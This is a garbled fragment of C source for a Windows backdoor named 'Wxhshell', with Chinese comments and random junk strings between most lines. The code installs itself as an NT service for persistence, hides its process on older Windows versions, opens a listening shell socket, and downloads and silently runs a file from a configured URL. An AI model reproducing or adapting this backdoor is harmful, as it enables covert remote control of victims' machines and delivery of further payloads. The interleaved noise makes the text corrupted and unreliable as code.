"NtQueryInformationProcess"); Dqwd=$2% Dvz 6 E if (!NtQueryInformationProcess) return 0; ^_G#JJ\@$ L&NpC&>wD hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]CS
N7Q+l if(!hProcess) return 0; UDJ#P9uy *qL2=2 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; FChW`b&S ^HP$r* CloseHandle(hProcess); ]+qd|}^ 30Q77,Nsny hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9_&]7ABV if(hProcess==NULL) return 0; K|~!oQ %O(W;O HMODULE hMod; C$at9=(E6 char procName[255]; Q(1R=4?.Z unsigned long cbNeeded; y\iECdPU -2U|G if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \Z%_dT} Ug gg!zA CloseHandle(hProcess); {}"
< n~w[ajC/ if(strstr(procName,"services")) return 1; // 以服务启动 Zmk 9C@ v,rKuvc' return 0; // 注册表启动 jgpF+V-n$ } 98zJ?NaD& Gh{9nM_\" // 主模块 \Z~@/OVc int StartWxhshell(LPSTR lpCmdLine) )&)tX. { Y3)*MqZlF SOCKET wsl; mSFA i BOOL val=TRUE; rF?QI*`Y( int port=0; l0',B*og struct sockaddr_in door; b|k(:b-G&. #.}&6ZP if(wscfg.ws_autoins) Install(); h:z$uG NZ^hp\q port=atoi(lpCmdLine); &)!N5Veb r0'a-Mk; if(port<=0) port=wscfg.ws_port; KlwBoC/{K +rrA>~ WSADATA data; J}@.f-W\j if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; &" yoJ<L F A%BzU5^ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; !.|A}8nK setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >v/%R~BuX door.sin_family = AF_INET; RtaMrG=D door.sin_addr.s_addr = inet_addr("127.0.0.1"); H5gcP11r door.sin_port = htons(port); mI;\ UOh' `,c~M if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [RDY(}P% closesocket(wsl); =$kSn\L, return 1; 1l}fX}5%I; } ~!Rf5QA85 B|AIl+y if(listen(wsl,2) == INVALID_SOCKET) { BUBtK-n~"3 closesocket(wsl); 9J}^{AA return 1; m\ @Q} } yW}x Wxhshell(wsl); ge{%B~x WSACleanup(); |5BvVqn 'z};tIOKJk return 0; 8(-N;<Ef2 `P*PCiZos } !3*%-8bp v@:m8Y(t // 以NT服务方式启动 .7Itbp6=R VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5%fR9?) { Q6PMRG}/o DWORD status = 0; 7C@m(oK DWORD specificError = 0xfffffff; <ZoMKUuB *Y ?&N2@c serviceStatus.dwServiceType = SERVICE_WIN32; #4& <d.aw' serviceStatus.dwCurrentState = SERVICE_START_PENDING; )aX#RM? N serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; U;U19[] serviceStatus.dwWin32ExitCode = 0; H<3ayp$ serviceStatus.dwServiceSpecificExitCode = 0; M9(Kxux# serviceStatus.dwCheckPoint = 0; ].N%A07 serviceStatus.dwWaitHint = 0; }Szs9-Wns |OBZSk1jp hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0&6(y*
#Z if (hServiceStatusHandle==0) return;
;.d{$SO -$f$z(h status = GetLastError(); `n%8y I% if (status!=NO_ERROR) !4+@b
s { ]7%+SH,RdD serviceStatus.dwCurrentState = SERVICE_STOPPED; )m10IyUAY serviceStatus.dwCheckPoint = 0; t&(\A,ch% serviceStatus.dwWaitHint = 0; fSm|anuKZe serviceStatus.dwWin32ExitCode = status; NKu*kL}W= serviceStatus.dwServiceSpecificExitCode = specificError; g;</ |Z SetServiceStatus(hServiceStatusHandle, &serviceStatus); [mG:PTK3 return; RV6|sN[x> } 2PVQSwW: }H9V$~}@- serviceStatus.dwCurrentState = SERVICE_RUNNING; W&9X <c* serviceStatus.dwCheckPoint = 0;
.v#Tj|w^ serviceStatus.dwWaitHint = 0; 7V;wCm#b if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6w$pL( } -T .C?Q g YR0.m%U, // 处理NT服务事件,比如:启动、停止 G\H |\i VOID WINAPI NTServiceHandler(DWORD fdwControl) G/_9!lE { \yA*)X+ switch(fdwControl) zFO#oW,D { -ob1_0 case SERVICE_CONTROL_STOP: u~j&g serviceStatus.dwWin32ExitCode = 0; Hu7WU;w serviceStatus.dwCurrentState = SERVICE_STOPPED; sFonc serviceStatus.dwCheckPoint = 0; 7!#34ue serviceStatus.dwWaitHint = 0; tp3
!6I6 { #w]@yL]|is SetServiceStatus(hServiceStatusHandle, &serviceStatus); fTV}IP } ]dQ return; C4t@;U=x case SERVICE_CONTROL_PAUSE: Q`(.Blgm; serviceStatus.dwCurrentState = SERVICE_PAUSED; 1<&nHFJ;[ break; J I[9c,N case SERVICE_CONTROL_CONTINUE: %&S :W%qm? serviceStatus.dwCurrentState = SERVICE_RUNNING; '645Fr[lg break; ,~qjL|9 case SERVICE_CONTROL_INTERROGATE: f-a+&DB9 break; u75(\<{ }; 5SwQ9# SetServiceStatus(hServiceStatusHandle, &serviceStatus); :,FI 6` } _6{XqvWqb 6Bn%7ZBv // 标准应用程序主函数 Ox}a\B8 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) QB#rf=' { #H/suQZN"g K._*
~-A // 获取操作系统版本 2sNV09id OsIsNt=GetOsVer(); f|-%., GetModuleFileName(NULL,ExeFile,MAX_PATH); *S{fyYyM X1~ WQ?ww // 从命令行安装 dI$M9; if(strpbrk(lpCmdLine,"iI")) Install(); KeE)9e 6`sS8Ar&u // 下载执行文件 wA7^ if(wscfg.ws_downexe) { ":,J<|Oy if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) kESnlmy@J WinExec(wscfg.ws_filenam,SW_HIDE); ca!DZ%y } )MU)'1jc, P`!31P#]L if(!OsIsNt) { Z2hIoCT // 如果时win9x,隐藏进程并且设置为注册表启动 f%5 s8) HideProc(); y9)Rl)7-: StartWxhshell(lpCmdLine); yUp"%_t0 } %SlF7$ else R`!'c(V if(StartFromService()) 'r_NA!R // 以服务方式启动 0z:BSdno StartServiceCtrlDispatcher(DispatchTable); $3Srr* else :ZP`Y%dt' // 普通方式启动 ,CA3Q.y>| StartWxhshell(lpCmdLine); w.6 Gp;O Or*e$uMIY return 0; z;d]=PT }
|